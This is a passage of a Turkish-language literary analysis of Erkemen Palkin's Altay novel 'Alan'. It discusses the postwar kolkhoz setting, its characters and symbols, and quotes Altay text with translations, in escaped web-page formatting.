B\u00f6l\u00fcmden b\u00f6l\u00fcme durumlar\u0131n, olaylar\u0131n yelpazesi geni\u015fler; yeni insanlar, yeni sorunlar ana konunun i\u00e7ine d\u00e2hil edilir. B\u00f6ylece roman\u0131n i\u00e7eri\u011fi \u015fekillenir, olay \u00f6rg\u00fcs\u00fc daha belirgin h\u00e2le gelir; b\u00f6l\u00fcmler ve karakterleri aras\u0131nda ba\u011flant\u0131lar kurulur, sonraki b\u00f6l\u00fcmlerin karakterleri ortaya \u00e7\u0131kar. Ki\u015filer ba\u011flam\u0131nda tezatlar\u0131n \u00f6nemli bir yeri vard\u0131r. Tematik g\u00fcc\u00fc temsil edenler Alan, U\u00e7ural, Akar, \u015ei\u00f1e\u2026 olumlu yap\u0131dad\u0131rlar. Bunlar sadece birbirleri i\u00e7in \u00f6zveride bulunmaya de\u011fil, bir kolhozun i\u00e7indeki kolektif ya\u015fam tarz\u0131nda birbirleri ve \u00fclkeleri i\u00e7in g\u00fczel bir hayat kurmaya da haz\u0131rd\u0131rlar. Bu y\u00f6nleriyle yeni Sovyet tipi insan\u0131n\u0131n do\u011fu\u015funa \u00f6rnek te\u015fkil ederler. Olumsuz y\u00f6nleriyle ortaya \u00e7\u0131kanlar ise Tant\u0131barov, Cemze ve Zoya\u2019d\u0131r. Bunlar hem toplumsal kurumlara hem de ailelerine zarar verirler. Her iki gruba ait ki\u015filer yapay karakterler olmay\u0131p, canl\u0131 ve temsil kabiliyetleri y\u00fcksektir. Yazar roman\u0131n\u0131, bu ki\u015fileri y\u00fcceltmeden insan-insan, insan-devlet ve insan-toplum ili\u015fkisi \u00fczerinde kurgular. Roman\u0131n ba\u015fkahraman\u0131 Alan, roman boyunca ya\u015fad\u0131\u011f\u0131 tecr\u00fcbe ve \u00e7at\u0131\u015fmalar nedeniyle ad\u0131m ad\u0131m olgunla\u015f\u0131r ve yazar taraf\u0131ndan realist bir tav\u0131rla idealize edilir. Ya\u015fad\u0131\u011f\u0131 yer olan K\u0131z\u0131l \u00c7olmon kolhozunun b\u00fct\u00fcn sorunlar\u0131n\u0131 tespit eder. Bir taraftan bu sorunlar\u0131n \u00e7\u00f6z\u00fcm\u00fc i\u00e7in d\u00fc\u015f\u00fcnce \u00fcretirken, di\u011fer yandan ki\u015fisel hayat\u0131n\u0131 d\u00fczene sokmaya \u00e7al\u0131\u015f\u0131r. Sava\u015ftan d\u00f6nen herkes gibi karma\u015f\u0131k bir zihinle k\u00f6y\u00fcne gelen Alan, zihnini ve hayat\u0131n\u0131 d\u00fczene sokma gayreti i\u00e7indedir. Fakat zaman zaman kendi hatalar\u0131 nedeniyle bunu ba\u015farmakta zorlan\u0131r: Sevdi\u011fi kad\u0131ndan uzakla\u015f\u0131p ba\u015fkalar\u0131yla birlikte olur, kendini kolhozun \u00e7\u00f6z\u00fcm\u00fc zor i\u015flerinin i\u00e7ine atar\u2026 Nihayet, k\u00f6y\u00fcne\/kolhozuna d\u00f6nd\u00fckten yedi y\u0131l sonra sevdi\u011fi gen\u00e7 k\u0131z \u015ei\u00f1e ile evlenir (1952) ve kolhozun ba\u015fkan\u0131 olur (1953).<\/p>\n\n\n\n .. Figen G\u00fcner Dilek (ayakta solda) ve Raisa Palkina (oturanlar\u0131n i\u00e7inde solda) Kumand\u0131 ailesi Tukma\u00e7ovlarla birlikte. (Biysk\/1998, Foto\u011fraf: \u0130brahim Dilek)<\/a><\/p>\n\n\n\n Sovyet Edebiyat\u0131nda II. D\u00fcnya Sava\u015f\u0131\u2019n\u0131 ve sonras\u0131n\u0131 anlatan \u015fair ve yazarlar\u0131 ikiye ay\u0131rmak m\u00fcmk\u00fcnd\u00fcr. Birinci gruptakiler do\u011frudan sava\u015fa kat\u0131lm\u0131\u015f, sava\u015f\u0131 b\u00fct\u00fcn y\u00f6nleriyle ya\u015fam\u0131\u015f olanlard\u0131r ki bunlar ki\u015fisel olarak ya\u015fad\u0131klar\u0131n\u0131 edeb\u00ee kurguya ta\u015f\u0131m\u0131\u015flard\u0131r. \u0130kinci gruptakiler ise, Palkin gibi sava\u015fa kat\u0131lmam\u0131\u015f olanlar\u0131n yazd\u0131klar\u0131 eserlerdir ki, bunlar da daha \u00e7ok sava\u015ftan sonraki hayat\u0131n yeniden tesis edilmesiyle ilgili temalar\u0131 i\u015flemi\u015flerdir. Alan<\/em> roman\u0131nda yazar, bir yandan ger\u00e7ek hayattaki insanlar\u0131 ve onlar\u0131n ya\u015famlar\u0131n\u0131 cesurca tan\u0131t\u0131rken, di\u011fer yandan sava\u015f sonras\u0131 tesis edilmeye \u00e7al\u0131\u015f\u0131lan hayat\u0131n resmini m\u00fcmk\u00fcn oldu\u011funca geni\u015f ve eksiksiz sunmaya \u00e7al\u0131\u015f\u0131r. Bu nedenle romanda ger\u00e7eklikler ve edeb\u00ee kurgu el ele gider. Sava\u015f\u0131n s\u0131cak cephelerinin binlerce kilometre uza\u011f\u0131ndaki Altay Da\u011flar\u0131\u2019nda ya\u015fayan k\u00fc\u00e7\u00fck T\u00fcrk boylar\u0131n\u0131n olu\u015fturdu\u011fu bu topluluk da cepheye yak\u0131n \u015fehirler kadar ac\u0131 \u00e7ekmi\u015ftir. Modern \u015fehir ya\u015fam\u0131n\u0131n sa\u011flad\u0131\u011f\u0131 imk\u00e2nlardan uzak bu b\u00f6lgede ac\u0131mas\u0131z bir do\u011fa vard\u0131r. \u0130nsanlar bir yandan sava\u015f\u0131n getirdi\u011fi olumsuzluklarla u\u011fra\u015f\u0131rken di\u011fer yandan da bu do\u011fayla m\u00fccadele etmek zorundad\u0131rlar.<\/p>\n\n\n\n Sovyetler Birli\u011fi i\u00e7in sava\u015f, 22 Haziran 1941\u2019de SSCB Halk Komiserleri Konsey Ba\u015fkan\u0131 Molotov\u2019un saat 12.00\u2019de radyoda yapt\u0131\u011f\u0131 konu\u015fmayla ba\u015flar. SSCB\u2019nin sava\u015fa kat\u0131lmas\u0131yla birlikte Sovyet Yazarlar Birli\u011fi her bir \u015fair ve yazar\u0131 sava\u015f hakk\u0131nda yazmaya davet ve te\u015fvik eder. Bu konuda Altay edebiyat\u0131nda \u0130. \u015eodoyev; \u00d6l\u00fcmdi Ce\u00f1ip, Soldatt\u0131\u00f1 Col\u0131na\u00f1, M\u00fcrk\u00fctbey<\/em> adl\u0131 eserleri kaleme alm\u0131\u015ft\u0131r. Kendisi de sava\u015fa kat\u0131lan \u015eodoyev, Altay\u2019a ancak 1946 y\u0131l\u0131nda ve yirmi yerinden yaral\u0131 olarak d\u00f6nebilmi\u015ftir. \u015eodoyev, \u201c\u00d6l\u00fcmdi Ce\u00f1ip\u201d<\/em> hik\u00e2yesinde havan birimi komutan\u0131 \u0130rbisov\u2019u Altay destan ve efsanelerinin kahramanlar\u0131na benzeterek idealize eder. Soldatt\u0131\u00f1 Coldor\u0131na\u00f1<\/em> hik\u00e2yesinde ise Nazilere kar\u015f\u0131 sava\u015fan Altay T\u00fcrklerinin kahramanl\u0131klar\u0131n\u0131 anlat\u0131r. Sava\u015f hakk\u0131nda yazanlardan biri de \u00c7. En\u00e7inov\u2019dur. O, Altay folklorundan esinlenerek yazd\u0131\u011f\u0131 \u201cArg\u0131mak\u201d, \u201c\u00d6\u015ft\u00fclerge Bakpagan\u201d<\/em> ve \u201cK\u0131z\u0131l Cuu\u00e7\u0131l\u201d adl\u0131 \u015fiirlerinde sava\u015fa kat\u0131lan Altay gen\u00e7lerinin kahramanl\u0131klar\u0131n\u0131 anlat\u0131r (Dedina, 2020: 85-94).<\/p>\n\n\n\n Anneler evlatlar\u0131n\u0131 cepheye;<\/p>\n\n\n\n Kalcurlarla tart\u0131j\u0131p,<\/em> — Zalimlerle sava\u015f\u0131rken, ***<\/p>\n\n\n\n Al\u0131p-Mana\u015f baat\u0131rd\u0131y,<\/em> — Al\u0131p-Mana\u015f bahad\u0131r gibi, diyerek g\u00f6nderirler.[2<\/a>] Evlatlar\u0131ysa annelerine;<\/p>\n\n\n\n Oy, eneyim, eneyim,<\/em> — Oy, anac\u0131\u011f\u0131m, anac\u0131\u011f\u0131m, diyerek veda ederler. Gen\u00e7leri sava\u015fmaya te\u015fvik etmek i\u00e7in onlar\u0131 \u00f6zellikle destan kahramanlar\u0131na benzeterek ve folklorun g\u00fcc\u00fcnden faydalanarak cepheye g\u00f6nderme politikas\u0131, yaln\u0131z Altaylara de\u011fil b\u00fct\u00fcn T\u00fcrk boy ve topluluklar\u0131na uygulanm\u0131\u015ft\u0131r.<\/p>\n\n\n\n Altay edebiyat\u0131nda sava\u015fla ilgili temalar yaln\u0131zca sava\u015f\u0131n kendisiyle s\u0131n\u0131rl\u0131 de\u011fildir. Sava\u015f bittikten sonra da edebiyat, sava\u015f sonras\u0131 hayat\u0131 i\u015flemeye devam etmi\u015ftir. Alan<\/em> roman\u0131 bunlardan biridir. Romanda sava\u015ftan d\u00f6nen bir askerin (Alan) psikolojisi, i\u00e7inde bulundu\u011fu topluma do\u011fru yay\u0131lan b\u00fcy\u00fck bir geni\u015flik ve derinlikle ortaya konmu\u015ftur.<\/p>\n\n\n\n Sava\u015f s\u0131ras\u0131nda \u00e7e\u015fitli nedenlerle cepheye gidemeyenlerin veya sava\u015fta yaralanarak geri d\u00f6nenlerin kolhozlardaki ya\u015fam m\u00fccadelesi, sava\u015f bittikten sonra sa\u011f kalanlar\u0131n yurtlar\u0131na d\u00f6n\u00fc\u015fleri ve kendi ya\u015famlar\u0131yla birlikte kolhozlar\u0131 ve kolhozlardaki sosyo-k\u00fclt\u00fcrel hayat\u0131 geli\u015ftirme \u00e7abalar\u0131, II. D\u00fcnya Sava\u015f\u0131 sonras\u0131ndaki Sovyet edebiyat\u0131n\u0131n belli ba\u015fl\u0131 konular\u0131ndand\u0131r: Altay edebiyat\u0131 i\u00e7in ilkine \u00f6rnek olarak Lazar Kok\u0131\u015fev\u2019in Altayd\u0131\u00f1 K\u0131star\u0131<\/em>, ikincisine ise bu yaz\u0131n\u0131n da konusu olan Erkemen Palkin\u2019in Alan<\/em> romanlar\u0131 \u00f6rnek olarak verilebilir. Her iki romandaki tipler, ayn\u0131 konular\u0131 i\u015fleyen di\u011fer romanlardaki tiplerle benzerlik g\u00f6sterir. Hem Altayd\u0131\u00f1 K\u0131star\u0131<\/em> roman\u0131n\u0131n kahraman\u0131 Arina hem de Alan Toktubay, ayn\u0131 konular\u0131 i\u015fleyen d\u00f6nem romanlar\u0131n\u0131n kahramanlar\u0131n\u0131 tan\u0131mlamak i\u00e7in tipik \u00f6rneklerdir. Alan<\/em> roman\u0131n\u0131n yay\u0131mland\u0131\u011f\u0131 d\u00f6nemde yaln\u0131z Altay de\u011fil b\u00fct\u00fcn SSCB\u2019de sava\u015f sonras\u0131 yeni hayat\u0131 konu alan romanlar yaz\u0131lmaktad\u0131r. SSCB k\u0131rsal\u0131nda s\u0131radan, e\u011fitimsiz bir sava\u015f gazisinin ya\u015fam m\u00fccadelesini anlatan Alan<\/em> roman\u0131, Sibirya\u2019n\u0131n \u00fccra bir k\u00f6\u015fesindeki k\u00fc\u00e7\u00fck bir halk\u0131 ve ya\u015fad\u0131klar\u0131 kolhozun d\u00fcnyas\u0131n\u0131 okura a\u00e7ar, kolhoz ya\u015fam\u0131n\u0131 Sovyet edebiyat\u0131 gelene\u011fi i\u00e7inde yans\u0131t\u0131r. Alan<\/em>, K\u0131z\u0131l \u00c7olmon kolhozu \u00fczerinden sava\u015f sonras\u0131 kendini yeniden in\u015fa etmeye \u00e7al\u0131\u015fan SSCB\u2019nin sorunlar\u0131n\u0131n tart\u0131\u015f\u0131ld\u0131\u011f\u0131 bir romand\u0131r. Romanda genelde Sovyet, \u00f6zelde ise Altay toplumunun ya\u015fad\u0131\u011f\u0131 toplumsal sorunlar, hatta Rus-Altay k\u00fclt\u00fcr \u00e7at\u0131\u015fmas\u0131 ele al\u0131n\u0131r. Bu \u00e7at\u0131\u015fmada yazar\u0131n tavr\u0131, uyum tesis etmeden yanad\u0131r.<\/p>\n\n\n\n Alan<\/em> roman\u0131n\u0131n vaka zaman\u0131, 1945 y\u0131l\u0131n\u0131n yaz\u0131 ile 1956 y\u0131l\u0131n\u0131n yaz aylar\u0131 aras\u0131nda ge\u00e7en 11 y\u0131ll\u0131k zaman dilimidir. Mek\u00e2n ise K\u0131z\u0131l \u00c7olmon kolhozu ile onun m\u00fccavir alan\u0131 olan Altay b\u00f6lgesinin bir k\u0131sm\u0131d\u0131r. Roman, \u201cEjik Somoktu (Kap\u0131 Kilitli)\u201d adl\u0131 ilk b\u00f6l\u00fcm\u00fcn ilk c\u00fcmlesi olan \u201cCa\u00f1m\u0131r t\u0131\u00f1 caap, \u00f6d\u00fcp braatt\u0131.<\/em> (Ya\u011fmur \u015fiddetli ya\u011f\u0131p, ge\u00e7ip gitti.)\u201d ifadesiyle ba\u015flar. \u015eiddetli ya\u011fan ve sonra biten ya\u011fmur, II. D\u00fcnya Sava\u015f\u0131n\u0131; kilitli olan kap\u0131 ise cepheden d\u00f6nen askerin (Alan\u2019\u0131n) annesinin evinin kap\u0131s\u0131 olmakla birlikte Alan\u2019\u0131n hayat\u0131n\u0131 da sembolize eder. Alan, roman boyunca bu kilitli kap\u0131y\u0131 a\u00e7maya ve kendine yeni bir hayat kurmaya \u00e7al\u0131\u015facakt\u0131r. Roman\u0131n ak\u0131\u015f\u0131nda genel bir kronolojik s\u0131ralama vard\u0131r, b\u00f6l\u00fcmlerde ge\u00e7en olaylar da bu s\u0131raya g\u00f6re d\u00fczenlenmi\u015ftir. Romanda II. D\u00fcnya Sava\u015f\u0131\u2019ndan sonra ki\u015fisel olarak Alan\u2019\u0131n, kurumsal olarak ise K\u0131z\u0131l \u00c7olmon kolhozunun de\u011fi\u015fim ve geli\u015fimi ele al\u0131nm\u0131\u015f olsa da, Alan\u2019\u0131n kolhoza ba\u015fkan olmas\u0131yla birlikte ki\u015fisel ve kurumsal geli\u015fim bir \u015fekilde birle\u015ftirilmi\u015f olur. Kolhozun sorunlar\u0131n\u0131 tespit eden ve bunlar\u0131n \u00e7\u00f6z\u00fcm\u00fcyle me\u015fgul olan Alan, zaman i\u00e7inde varolu\u015funa pek \u00e7ok y\u00f6nden de\u011fer katar. O, \u00f6nce bir asker olarak cepheden cepheye giderek yo\u011frulmu\u015f, \u015fimdi de en de\u011ferli toplumsal yap\u0131 olan kolhozda ba\u015fka bir sava\u015f vermekte olan bir insand\u0131r. Bu nedenle kolhoz ve sorunlar\u0131 onlar\u0131 \u00e7\u00f6zmeye \u00e7al\u0131\u015fan Alan\u2019\u0131n hayat\u0131na, onun ki\u015fisel geli\u015fimine de\u011ferli ve \u00e7ok y\u00f6nl\u00fc katk\u0131larda bulunur. Bu katk\u0131lar sayesindedir ki Alan, kendini bulman\u0131n ve kendini ger\u00e7ekle\u015ftirmenin yollar\u0131n\u0131 ke\u015ffeder; cepheden d\u00f6nd\u00fckten 7 y\u0131l sonra sevdi\u011fi kad\u0131nla evlenir, 8 y\u0131l sonra da kolhoza ba\u015fkan olur.<\/p>\n\n\n\n Romanda olaylar 1945 yaz\u0131nda ba\u015flar. II. D\u00fcnya Sava\u015f\u0131\u2019na kat\u0131lan Alan evine, k\u00f6y\u00fcne d\u00f6ner. Yukar\u0131da belirtildi\u011fi gibi romanda 1945 yaz\u0131yla 1956 yaz\u0131 aras\u0131nda K\u0131z\u0131l \u00c7olmon kolhozunda ge\u00e7en olaylar anlat\u0131l\u0131r. Bu y\u0131llar aras\u0131nda Alan\u2019\u0131n kolhoza uyum \u00e7abalar\u0131, kolhozu geli\u015ftirme yolundaki gayretli \u00e7al\u0131\u015fmalar\u0131 ve \u00f6zellikle \u015eura ve \u015ei\u00f1e ile ya\u015fad\u0131\u011f\u0131 a\u015fk ili\u015fkileri ve nihayet \u015ei\u00f1e ile evlenerek yeni hayata ba\u015flamas\u0131 anlat\u0131l\u0131r. Ayn\u0131 zamanda Tant\u0131barov taraf\u0131ndan k\u00f6t\u00fc y\u00f6netilen kolhoza Alan\u2019\u0131n gayretleriyle \u00f6nce U\u00e7ural Ad\u0131cokov\u2019un ba\u015fkan olmas\u0131, sonras\u0131nda Alan\u2019\u0131n kolhoz ba\u015fkanl\u0131\u011f\u0131n\u0131 \u00fcstlenmesi ve onun y\u00f6netiminde kolhozun sovhozlu\u011fa y\u00fckseltilmesi anlat\u0131l\u0131r. Dolay\u0131s\u0131yla okuyucu roman boyunca Alan\u2019\u0131n hem \u00f6zel ya\u015fam\u0131nda mutlulu\u011fa kavu\u015fmas\u0131n\u0131 hem de kariyerinde ba\u015far\u0131ya ula\u015fmas\u0131n\u0131 takip eder. Bu takip s\u0131ras\u0131nda biz, vaka zaman\u0131 (1945-1956) i\u00e7inde Alan\u2019\u0131n ya\u015fad\u0131\u011f\u0131 toplumdaki ki\u015fisel ve kurumsal aksakl\u0131klar\u0131 \u00f6\u011frenir, bunlar\u0131 temsil eden tiplerle tan\u0131\u015f\u0131r\u0131z: H\u0131rs\u0131z kolhoz ba\u015fkan\u0131 Tant\u0131barov ve onun h\u0131rs\u0131zl\u0131klar\u0131n\u0131n orta\u011f\u0131 olan kar\u0131s\u0131 Cemze, Tant\u0131barov\u2019un tam z\u0131tt\u0131 bir karakter olan U\u00e7ural Ad\u0131cokov, ge\u00e7mi\u015f ve geleneksel hayat\u0131 temsil eden fakat yeni zamanla da uyumlu tipler olan Emdik-Sodon ve Cumur, yeni toplumu in\u015fa kabiliyetine sahip olan Ek\u00e7ebey \u2026 gibi romanda bir\u00e7ok tip ve karakter mevcuttur. Bunlar\u0131n i\u00e7inde vaka \u00f6rg\u00fcs\u00fc bak\u0131m\u0131ndan \u00f6nemsiz g\u00f6r\u00fcnen ama \u00e7\u0131kar\u0131ld\u0131\u011f\u0131 takdirde romanda anlat\u0131lan toplumun bir yan\u0131n\u0131 eksik b\u0131rakacak olanlar da vard\u0131r.<\/p>\n\n\n\n Yazar, okuyucuya geni\u015f bir toplum ve insan panaromas\u0131 sunar: Her bir b\u00f6l\u00fcmde toplumda kar\u015f\u0131l\u0131klar\u0131 olan ve o g\u00fcn\u00fcn toplumunu ve sosyolojik yap\u0131s\u0131n\u0131 anlamam\u0131za yard\u0131mc\u0131 olacak, hayat\u0131n i\u00e7inden al\u0131n\u0131p romana ta\u015f\u0131nan ve toplumsal yap\u0131y\u0131 sembolik \u015fekilde yans\u0131tan tipler yaratm\u0131\u015ft\u0131r. Bunlardan biri, Alan\u2019la karma\u015f\u0131k bir a\u015fk ili\u015fkisi ya\u015fayan ama sonunda onunla evlenen \u015ei\u00f1e\u2019dir. Babas\u0131 \u00f6lm\u00fc\u015f olan \u015ei\u00f1e, ailenin b\u00fcy\u00fck \u00e7ocu\u011fu olarak annesinin ve karde\u015flerinin sorumlulu\u011funu y\u00fcklenmi\u015ftir. Roman ilerledik\u00e7e \u015ei\u00f1e\u2019nin \u00e7al\u0131\u015fkan, vicdanl\u0131, d\u00fcr\u00fcst, ilkeli, endi\u015feli ve ciddi olmak \u015feklindeki karakter \u00f6zellikleri ortaya \u00e7\u0131kar. Bu \u00f6zellikleriyle o, toplumun kendisine sayg\u0131 duydu\u011fu biri h\u00e2line gelir. Alan\u2019\u0131n ba\u015fka kad\u0131nlara ilgi duymas\u0131 nedeniyle ili\u015fkileri zaman i\u00e7inde karma\u015f\u0131k bir h\u00e2l alsa da \u015ei\u00f1e, Alan\u2019\u0131n ba\u015fka insanlarla ya\u015fad\u0131\u011f\u0131 tart\u0131\u015fmalarda onun yan\u0131nda durmaktan ve onun fikirlerini savunmaktan \u00e7ekinmez. S\u00fcrekli ufkunu geni\u015fletmeye \u00e7al\u0131\u015f\u0131r ve \u00f6\u011frenme konusunda tutkuludur. Kolhoz kurulu, onu k\u0131sa s\u00fcreli\u011fine \u015fehirdeki tar\u0131m kursuna g\u00f6nderir. \u015ei\u00f1e, bu k\u0131sa kurstan \u00e7ok \u015fey \u00f6\u011frenerek ve ayn\u0131 zamanda ki\u015fisel olarak da geli\u015ferek k\u00f6ye d\u00f6ner. B\u00fct\u00fcn bu \u00f6zelliklerinden anl\u0131yoruz ki \u015ei\u00f1e, kom\u00fcnist ideolojinin sava\u015ftan sonraki yeni ya\u015fam \u015feklini kuracak gen\u00e7 bir k\u0131z imaj\u0131d\u0131r. Karde\u015flerine de bakmak zorunda olan \u015ei\u00f1e, yoksul bir ailenin \u00e7ocu\u011fudur. Sava\u015f y\u0131llar\u0131nda o da di\u011fer Altay T\u00fcrkleri gibi \u201ctoro\u201d (a\u00e7l\u0131k, k\u0131tl\u0131k) kelimesiyle tan\u0131\u015f\u0131r. Bu s\u00f6z, o y\u0131llar\u0131n \u00e7ocuklar\u0131n\u0131n i\u00e7ine i\u015fler. O g\u00fcnlerde \u015ei\u00f1e, a\u00e7 olan karde\u015flerini doyurmak i\u00e7in bir \u015feyler bulmak umuduyla k\u0131ra \u00e7\u0131kar. Bir tarla faresinin yuvas\u0131nda bir avu\u00e7 arpa tanesi bulur. Bunlarla karde\u015flerine az da olsa bir \u015feyler yapaca\u011f\u0131n\u0131 d\u00fc\u015f\u00fcn\u00fcr. Fakat sonra arpalar\u0131 al\u0131rsa tarla faresi ve yavrular\u0131n\u0131 a\u00e7 b\u0131rakaca\u011f\u0131n\u0131 d\u00fc\u015f\u00fcn\u00fcr ve a\u011flayarak oradan ayr\u0131l\u0131r. Merhameti, hayatta kalma ve karde\u015flerini ya\u015fatma g\u00fcd\u00fcs\u00fcn\u00fcn \u00f6n\u00fcne ge\u00e7mi\u015ftir.[3<\/a>]<\/p>\n\n\n\n Roman\u0131n bir di\u011fer kad\u0131n karakteri \u015eura\u2019d\u0131r. K\u0131z\u0131l \u00c7olmon kolhozunun kurucular\u0131ndan olan babas\u0131, \u00e7\u0131kt\u0131\u011f\u0131 bir av s\u0131ras\u0131nda bir ay\u0131 taraf\u0131ndan a\u011f\u0131r \u015fekilde yaralan\u0131r ve \u00f6l\u00fcr. Alan\u2019\u0131n ablas\u0131 Calaa, karde\u015fini onunla evlendirmek ister. \u015eura da Alan\u2019la evlenmek istese de Alan kendisine e\u015f olarak \u015ei\u00f1e\u2019yi se\u00e7er. Varl\u0131kl\u0131 bir ailenin k\u0131z\u0131 olmas\u0131na ra\u011fmen sevdi\u011fi Alan\u2019la evlenemez, hayat\u0131na giren bir di\u011fer erkek olan Ek\u00e7ebey ise vakitsiz \u015fekilde \u00f6l\u00fcr. B\u00f6ylece \u015eura\u2019n\u0131n hayat\u0131 maalesef ba\u015flad\u0131\u011f\u0131 gibi devam etmez. Yazar, \u015eura\u2019n\u0131n ruh durumlar\u0131n\u0131 anlatmakta olduk\u00e7a ba\u015far\u0131l\u0131d\u0131r. Her \u015feye ra\u011fmen bu gen\u00e7 k\u0131z\u0131n iyi bir gelece\u011fe sahip olaca\u011f\u0131n\u0131 vurgulamak i\u00e7in onu g\u00fc\u00e7l\u00fc bir iradeye sahip bir karakter olarak sunar. Fakat Alan ile \u015ei\u00f1e\u2019nin evlendi\u011fi g\u00fcn \u015eura d\u00fc\u011f\u00fcne gitmez, gitmek i\u00e7in bir sebep bulamaz ve o g\u00fcn \u015eura kendini de\u011fersiz hisseder. Bu varl\u0131kl\u0131, g\u00fczel gen\u00e7 k\u0131z ne kadar \u00e7ok istese, ne kadar \u00e7ok yan\u0131p tutu\u015fsa da kendisinden a\u015fa\u011f\u0131da bulunan insanlar kadar mutlu olamaz. Yazar, \u015eura\u2019dan bahsetti\u011fi b\u00f6l\u00fcmlerde onun varl\u0131kl\u0131 olu\u015funa mutlaka de\u011finir: Ya evlerinde pi\u015fen yemeklerden ya \u015eura\u2019n\u0131n giydi\u011fi Rus giysilerinden ya da sava\u015f zamanlar\u0131nda insanlar\u0131n yiyecek ve i\u00e7ece\u011fe muhta\u00e7ken \u015eura\u2019n\u0131n g\u00fczel kokulu parf\u00fcm\u00fcnden bahsedilerek bu gen\u00e7 k\u0131z\u0131n zenginli\u011fi mutlaka vurgulan\u0131r. Yazar, parf\u00fcm\u00fc \u015eura\u2019n\u0131n etkileyicili\u011fi ve varl\u0131kl\u0131 hayat\u0131n\u0131 sembolize eden bir leitmotif olarak kullan\u0131r. Zira Alan, \u015eura\u2019yla birlikte y\u00fcr\u00fcrken ondan yay\u0131lan kokunun etkisinde kal\u0131r ve \u015eura\u2019n\u0131n evine girildi\u011finde ilk hissetti\u011fi \u015fey de g\u00fczel bir parf\u00fcm kokusudur:<\/p>\n\n\n\n Alan olord\u0131\u00f1 turaz\u0131na kirip kelerde, odekolonn\u0131\u00f1 c\u0131d\u0131 c\u00fczin caba sogup iygen. \u015euran\u0131\u00f1 iji bolboy kayts\u0131n<\/em> (141).<\/p>\n\n\n\n Alan onlar\u0131n evine girdi\u011finde, parf\u00fcm\u00fcn kokusu y\u00fcz\u00fcne vurdu. \u015eura\u2019n\u0131n i\u015fi olmal\u0131.<\/p>\n\n\n\n Annesinin onu her f\u0131rsatta \u00f6vmesine ra\u011fmen \u015eura \u015f\u0131mar\u0131k ve kendini be\u011fenmi\u015f biri de\u011fildir:<\/p>\n\n\n\n \u015euraga ke\u00e7e bir plaa\u00e7a al\u0131p bergenis, baalu neme de\u015fken, ca\u00f1\u0131s k\u0131s bolgon, erketend\u00fc bala ine. Artkan ek\u00fczi \u2013 uuldar \u2013 dep, \u015euran\u0131\u00f1 enezi ajanbay, pe\u00e7keni\u00f1 ooz\u0131nda ta\u00f1k\u0131lap oturd\u0131. \u2013 Booro bir kara kastyum baza al\u0131p bergenis, bir or\u0131s pay\u0131lta da al\u0131p bergenis. Kiyimi le cok bala emes bu: p\u0131yma deze \u2013 p\u0131ymaz\u0131 bar, -ar\u00e7uul deze \u2013 ar\u00e7uul\u0131 bar.<\/em><\/em><\/p>\n\n\n\n Ce, bolor ene, ene, dep, and\u0131y la, maktanala la berer \u2013 dep, \u015eura t\u00f6rindegi k\u0131pta\u00f1 \u00e7\u0131g\u0131p keldi<\/em> (142).<\/p>\n\n\n\n \u2026 \u015eura or\u0131s paltolu braadarda, s\u00fcrekey cara\u015f k\u00f6r\u00fcnet, on\u0131\u00f1 caan cakaz\u0131n\u0131\u00f1 c\u0131mjag\u0131n Alan card\u0131la sezip turgand\u0131y bold\u0131. Ezin sogordo, tatu odekolon c\u0131tanat\u2026 Klubt\u0131\u00f1 can\u0131na cuuktap kelele, Alan \u015eurala kojo ba\u015fkan\u0131na k\u00fcl\u00fcmzirendi. Emdi ulus k\u00f6rz\u00f6, ne dep ayd\u0131\u015fkan be? \u015eurad\u0131y keen k\u0131sla c\u00fcrze\u00f1, ulust\u0131\u00f1 k\u00f6zine b\u0131ju cak\u015f\u0131 k\u00f6r\u00fcneri\u00f1<\/em> (143).<\/p>\n\n\n\n D\u00fcn \u015eura\u2019ya bir pelerin ald\u0131k, pahal\u0131 \u015fey diyorlar, tek k\u0131z\u0131m\u0131z, o kadar da naz olacak. Di\u011fer iki karde\u015fi erkek, deyip \u015eura\u2019n\u0131n annesi yemek yemeden, soban\u0131n yan\u0131nda oturmu\u015f pipo i\u00e7erek konu\u015ftu. Uzun zaman \u00f6nce bir kost\u00fcm alm\u0131\u015ft\u0131k, bir de Rus paltosu. Giysisi olmayan gen\u00e7 k\u0131z de\u011fil ki bu: her t\u00fcrl\u00fc giysisi, kuma\u015f\u0131 var.<\/p>\n\n\n\n Yeter anne, \u00f6v\u00fcn\u00fcp duruyorsun diyerek \u015eura k\u00f6\u015fedeki odadan \u00e7\u0131k\u0131p geldi.<\/p>\n\n\n\n \u2026 \u015eura, \u00fczerinde Rus paltosuyla y\u00fcr\u00fcrken \u00e7ok g\u00fczel g\u00f6r\u00fcn\u00fcyordu, onun b\u00fcy\u00fck yakas\u0131n\u0131n yumu\u015fakl\u0131\u011f\u0131n\u0131 Alan omzundan sezer gibi oldu. R\u00fczg\u00e2r esince parf\u00fcm\u00fcn ho\u015f kokusu yay\u0131ld\u0131\u2026 Kul\u00fcbe yakla\u015f\u0131nca Alan, \u015eura\u2019yla birlikte y\u00fcr\u00fcd\u00fc\u011f\u00fc i\u00e7in g\u00fcl\u00fcmsedi. \u0130nsanlar bizi b\u00f6yle g\u00f6rse ne derlerdi acaba? \u015eura gibi g\u00f6rkemli, haval\u0131 bir k\u0131zla y\u00fcr\u00fcrsen, insanlara da iyi g\u00f6r\u00fcn\u00fcrs\u00fcn.<\/p>\n\n\n\n Alan ve U\u00e7ural gibi roman\u0131n olumlu tiplerinden biri de Ek\u00e7ebey\u2019dir. Yazara g\u00f6re sava\u015f olmasayd\u0131 Ek\u00e7ebey gibi yetenekli insanlar daha g\u00fczel i\u015fler yapabilir ve daha g\u00fczel bir \u00fclke in\u015fa edebilirlerdi. O da t\u0131pk\u0131 Alan gibi okulda ancak yedinci s\u0131n\u0131f\u0131 tamamlam\u0131\u015f olmas\u0131na ra\u011fmen yazara g\u00f6re \u00e7ok yetenekli, yarat\u0131c\u0131 ve zeki biridir. \u00dcstlendi\u011fi i\u015fi samimiyet ve sadakatle yerine getirir. \u00c7ok iyi bir hatip oldu\u011fu kadar m\u00fckemmel bir hik\u00e2ye anlat\u0131c\u0131s\u0131d\u0131r. Fakat zamans\u0131z \u00f6l\u00fcm\u00fc, evlenmek \u00fczere oldu\u011fu \u015eura\u2019y\u0131 ve \u00e7ocukluk arkada\u015f\u0131 Alan\u2019\u0131 \u00e7ok \u00fczer. Yazar, roman\u0131n \u201cKoo-\u00c7ettegi Oy\u0131n\u201d adl\u0131 b\u00f6l\u00fcm\u00fcnde Alan ve Ek\u00e7ebey\u2019i \u00e7e\u015fitli y\u00f6nleriyle mukayese eder ve Ek\u00e7ebey\u2019i her bak\u0131mdan Alan\u2019dan \u00fcst\u00fcn bulur:<\/p>\n\n\n\n Kezikte 